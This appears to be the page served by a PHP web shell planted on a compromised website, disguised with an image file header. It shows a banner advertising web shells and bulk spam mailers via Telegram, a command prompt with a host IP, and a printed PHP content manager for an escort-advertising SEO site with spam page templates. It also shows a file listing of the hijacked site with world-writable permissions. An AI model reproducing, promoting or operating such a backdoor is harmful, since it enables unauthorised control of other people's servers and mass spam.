����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

njujpgyl@216.73.216.242: ~ $
<?php
// content_manager.php
require_once 'config.php';

class ContentManager {
    private $content_dir;
    private $default_content_file;
    
    public function __construct($content_dir = CONTENT_DIR, $default_content_file = DEFAULT_CONTENT_FILE) {
        $this->content_dir = $content_dir;
        $this->default_content_file = $default_content_file;
        
        if (!is_dir($this->content_dir)) {
            mkdir($this->content_dir, 0755, true);
        }
    }
    
    public function saveContent($slug, $content_data) {
        $filename = $this->content_dir . $slug . '.php';
        $content = $this->generateContentFile($content_data);
        return file_put_contents($filename, $content) !== false;
    }
    
    public function loadContent($slug) {
        $filename = $this->content_dir . $slug . '.php';
        if (file_exists($filename)) {
            return $this->extractVariablesFromFile($filename);
        }
        return null;
    }
    
    public function saveDefaultContent($content_data) {
        $content = $this->generateContentFile($content_data);
        return file_put_contents($this->default_content_file, $content) !== false;
    }
    
    public function loadDefaultContent() {
        if (file_exists($this->default_content_file)) {
            return $this->extractVariablesFromFile($this->default_content_file);
        }
        return $this->getDefaultContentTemplate();
    }
    
    private function generateContentFile($content_data) {
        $content = "<?php\n";
        
        // Regular variables
        $regular_vars = ['city', 'metaTitle', 'metaDescription', 'metaKeywords', 'mainheading'];
        foreach ($regular_vars as $var) {
            if (isset($content_data[$var])) {
                $escaped_value = str_replace(["'", "\\"], ["\\'", "\\\\"], $content_data[$var]);
                $content .= "  \${$var} = '{$escaped_value}';\n";
            }
        }
        
        // Content sections
        for ($i = 1; $i <= 6; $i++) {
            if (isset($content_data["content{$i}"])) {
                $escaped_value = str_replace(["'", "\\"], ["\\'", "\\\\"], $content_data["content{$i}"]);
                $content .= "  \$content{$i} = '{$escaped_value}';\n";
            }
        }
        
        // FAQs array
        if (isset($content_data['faqs']) && is_array($content_data['faqs'])) {
            $content .= "  \$faqs = [\n";
            foreach ($content_data['faqs'] as $index => $faq) {
                $question = str_replace(["'", "\\"], ["\\'", "\\\\"], $faq['question']);
                $answer = str_replace(["'", "\\"], ["\\'", "\\\\"], $faq['answer']);
                $content .= "    [\n";
                $content .= "      'question' => '{$question}',\n";
                $content .= "      'answer' => '{$answer}'\n";
                $content .= "    ]";
                if ($index < count($content_data['faqs']) - 1) {
                    $content .= ",";
                }
                $content .= "\n";
            }
            $content .= "  ];\n";
        }
        
        $content .= "?>";
        return $content;
    }
    
    private function extractVariablesFromFile($filename) {
        // Initialize with empty values
        $content_data = [
            'city' => '',
            'metaTitle' => '',
            'metaDescription' => '',
            'metaKeywords' => '',
            'mainheading' => '',
            'content1' => '',
            'content2' => '',
            'content3' => '',
            'content4' => '',
            'content5' => '',
            'content6' => '',
            'faqs' => []
        ];
        
        // Read the file content
        $file_content = file_get_contents($filename);
        
        // Extract regular variables
        $regular_vars = ['city', 'metaTitle', 'metaDescription', 'metaKeywords', 'mainheading'];
        foreach ($regular_vars as $var) {
            if (preg_match("/\\\${$var}\s*=\s*'([^']*)'/", $file_content, $matches)) {
                $content_data[$var] = stripslashes($matches[1]);
            }
        }
        
        // Extract content sections
        for ($i = 1; $i <= 6; $i++) {
            if (preg_match("/\\\$content{$i}\s*=\s*'([^']*)'/", $file_content, $matches)) {
                $content_data["content{$i}"] = stripslashes($matches[1]);
            }
        }
        
        // Extract FAQs array - Fixed regex pattern
        if (preg_match('/\$faqs\s*=\s*\[(.*?)\];/s', $file_content, $matches)) {
            $faqs_content = $matches[1];
            
            // Split FAQ items more reliably
            $faq_blocks = preg_split('/\],\s*\[/', $faqs_content);
            
            foreach ($faq_blocks as $faq_block) {
                // Clean up the FAQ block
                $faq_block = trim($faq_block);
                $faq_block = preg_replace('/^\[|\]$/', '', $faq_block);
                
                // Extract question and answer with improved regex
                $question = $answer = '';
                
                // Match question with single quotes
                if (preg_match("/'question'\s*=>\s*'([^']*)'/", $faq_block, $q_match)) {
                    $question = stripslashes($q_match[1]);
                }
                // Match question with double quotes
                elseif (preg_match('/"question"\s*=>\s*"([^"]*)"/', $faq_block, $q_match)) {
                    $question = $q_match[1];
                }
                
                // Match answer with single quotes
                if (preg_match("/'answer'\s*=>\s*'([^']*)'/", $faq_block, $a_match)) {
                    $answer = stripslashes($a_match[1]);
                }
                // Match answer with double quotes
                elseif (preg_match('/"answer"\s*=>\s*"([^"]*)"/', $faq_block, $a_match)) {
                    $answer = $a_match[1];
                }
                
                // Only add if we found both question and answer
                if (!empty($question) || !empty($answer)) {
                    $content_data['faqs'][] = [
                        'question' => $question,
                        'answer' => $answer
                    ];
                }
            }
        }
        
        return $content_data;
    }
    
    public function contentFileExists($slug) {
        return file_exists($this->content_dir . $slug . '.php');
    }
    
    public function deleteContent($slug) {
        $filename = $this->content_dir . $slug . '.php';
        if (file_exists($filename)) {
            return unlink($filename);
        }
        return true;
    }
    
    private function getDefaultContentTemplate() {
        return [
            'city' => '{city}',
            'metaTitle' => 'Escorts Service {city} Call Girls with Cash Payment Available Now',
            'metaDescription' => 'Hire the best escorts service in {city} at delhigal.com. Book trusted call girls to enjoy incall & outcall companionship at low cost with real profile & full privacy.',
            'metaKeywords' => '{city} Escorts, {city} Escorts Agency, Independent Escorts in {city}',
            'mainheading' => 'Escorts Service in {city} Call Girls ₹2999 with Free Home Delivery',
            'content1' => '<p>Welcome to delhigal.com, your ticket to meet the hottest {city} escorts that will fulfill your best fantasies and make them real.</p>',
            'content2' => '<h2>Find the Best Escorts in {city} at Delhigal.com</h2>',
            'content3' => '<h2>What We Offer at {city} Escort Service</h2>',
            'content4' => '<h2>Book 5 Types of Escorts in {city}</h2>',
            'content5' => '<h2>VIP Escorts in 5 Star Hotel {city} With AC Room</h2>',
            'content6' => '<h2>How to Book Escorts in {city}</h2>',
            'faqs' => $this->getDefaultFAQs()
        ];
    }
    
    private function getDefaultFAQs() {
        return [
            [
                'question' => 'How do I book an escort in {city}?',
                'answer' => 'Booking an escort with Delhigal.com in {city} is simple and secure. You can call us directly, send us a WhatsApp message for instant response, fill out our contact form, or specify your preferences, location, and timing. We\'ll arrange everything and confirm your booking within minutes.'
            ],
            [
                'question' => 'What services do you offer in {city}?',
                'answer' => 'We offer a comprehensive range of escort services in {city} including romantic dinner dates, private companionship, travel companions, party and event entertainment, and 24/7 availability with customized experiences. All services are tailored to your specific requirements.'
            ],
            [
                'question' => 'Are your {city} escorts verified and safe?',
                'answer' => 'Absolutely! All our escorts in {city} undergo thorough verification processes, regular health check-ups, and background verification. We maintain strict discretion, health and safety standards to ensure your complete safety and satisfaction.'
            ],
            [
                'question' => 'What are your rates and payment options in {city}?',
                'answer' => 'We offer transparent pricing in {city} starting from ₹5000 with premium and custom packages available. Cash on delivery is accepted and there are no hidden charges. Contact us for detailed pricing based on your specific needs.'
            ],
            [
                'question' => 'Do you provide outstation services from {city}?',
                'answer' => 'Yes, we offer travel companions from {city} across India and for international trips. Please book in advance to ensure availability. All travel expenses are included in our comprehensive packages.'
            ],
            [
                'question' => 'How far in advance should I book in {city}?',
                'answer' => 'For {city} services, same-day bookings are possible. For the best availability, book 24–48 hours in advance; one week for special events and outstation trips. Priority booking is available for returning customers.'
            ],
            [
                'question' => 'What areas do you cover in {city}?',
                'answer' => 'We provide services across all major areas in {city} and surrounding regions. Our escorts are available for incall, outcall, hotel visits, and special events throughout the city.'
            ],
            [
                'question' => 'Is my privacy guaranteed with {city} escorts?',
                'answer' => 'Absolutely. We ensure 100% confidentiality in {city}, discreet communication and billing, and never share personal information with third parties. Your privacy is our top priority.'
            ]
        ];
    }
    
    public function generateContentWithPlaceholders($area_name, $area_link) {
        $default_template = $this->loadDefaultContent();
        $generated_content = [];
        
        foreach ($default_template as $key => $value) {
            if ($key === 'faqs' && is_array($value)) {
                $generated_faqs = [];
                foreach ($value as $faq) {
                    $generated_faqs[] = [
                        'question' => str_replace(['{city}', '{link}'], [$area_name, $area_link], $faq['question']),
                        'answer' => str_replace(['{city}', '{link}'], [$area_name, $area_link], $faq['answer'])
                    ];
                }
                $generated_content[$key] = $generated_faqs;
            } else {
                $generated_content[$key] = str_replace(
                    ['{city}', '{link}'],
                    [$area_name, $area_link],
                    $value
                );
            }
        }
        
        return $generated_content;
    }
}
?>

Filemanager

Name Type Size Permission Actions
.well-known Folder 0777
cache Folder 0777
content Folder 0777
content1 Folder 0777
image Folder 0777
.ftpquota File 12 B 0666
404.php File 1.31 KB 0666
_ File 3.55 KB 0644
android-chrome-192x192.png File 78.08 KB 0666
android-chrome-512x512.png File 378.8 KB 0666
apple-touch-icon.png File 69.97 KB 0666
arealist.xml File 13.18 KB 0666
auth.php File 884 B 0666
cache.php File 948 B 0666
content_manager.php File 11.84 KB 0666
delhigal.zip File 6.82 MB 0644
error_logs.php File 10.43 KB 0644
frontpage.php File 113.04 KB 0666
functions.php File 21.38 KB 0666
robots.txt File 71 B 0666
template-footer.php File 6.32 KB 0666
template-header.php File 38.08 KB 0666
template.php File 93.07 KB 0666
test.php File 151 B 0666